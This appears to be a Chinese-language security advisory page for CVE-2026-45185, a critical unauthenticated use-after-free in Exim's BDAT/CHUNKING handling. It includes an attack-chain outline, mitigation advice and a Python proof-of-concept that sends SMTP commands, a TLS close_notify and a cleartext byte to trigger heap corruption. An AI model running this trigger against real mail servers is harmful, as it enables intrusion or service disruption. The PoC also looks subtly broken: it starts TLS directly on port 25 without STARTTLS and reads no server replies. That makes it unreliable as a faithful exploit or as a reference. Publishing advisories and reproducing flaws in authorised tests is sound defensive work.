IPBUF安全漏洞报告
English
CVE-2026-45185 CVSS 9.8 严重

CVE-2026-45185 Exim远程代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-45185
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Exim

相关标签

远程代码执行Exim释放后重用严重漏洞

漏洞概述

Exim邮件传输代理在特定GnuTLS配置下存在严重的远程代码执行漏洞。该漏洞源于BDAT主体解析路径中的释放后重用缺陷。未经认证的攻击者可利用此漏洞,在CHUNKING传输中发送特制TLS close_notify及明文字节触发堆损坏,进而执行任意代码,严重影响系统安全。

技术细节

该漏洞位于Exim处理BDAT命令的解析逻辑中,影响使用特定GnuTLS配置的Exim版本。当Exim处于CHUNKING传输模式接收邮件正文时,若攻击者在传输中途发送TLS close_notify信号关闭TLS层,随后在同一TCP连接上发送一个明文字节,将触发释放后重用错误。这导致服务器访问已释放内存,引发堆损坏。由于该漏洞无需认证且可远程触发,攻击者可利用此漏洞控制程序执行流,实现远程代码执行。

攻击链分析

STEP 1
侦察与连接
攻击者识别目标Exim服务器,建立TCP连接并完成SMTP握手及TLS加密。
STEP 2
触发漏洞
攻击者发起邮件传输,使用BDAT命令进入CHUNKING模式,并在数据传输中途发送TLS close_notify中断加密。
STEP 3
利用与执行
在TCP连接保持的状态下发送明文字节,触发释放后重用漏洞导致堆损坏,进而执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import ssl def exploit_poc(target_host, target_port): # Create TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Upgrade to TLS context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE tls_sock = context.wrap_socket(sock, server_hostname=target_host) # SMTP Handshake tls_sock.send(b'EHLO attacker\r\n') tls_sock.send(b'MAIL FROM:<attacker@local>\r\n') tls_sock.send(b'RCPT TO:<victim@local>\r\n') # Initiate CHUNKING (BDAT) tls_sock.send(b'BDAT 512\r\n') # Send partial body data tls_sock.send(b'A' * 256) # Trigger Vulnerability: Send TLS close_notify # This closes the TLS layer but keeps TCP open tls_sock.unwrap() # Send final cleartext byte on the same TCP connection # This triggers the Use-After-Free in BDAT parsing sock.send(b'\x00') sock.close() # Usage: exploit_poc('127.0.0.1', 25)

影响范围

Exim < 4.99.3

防御指南

临时缓解措施
若无法立即升级,建议限制Exim服务器的入站网络访问,仅允许可信IP连接。同时,可检查并临时禁用CHUNKING扩展或调整GnuTLS配置以规避触发条件。

参考链接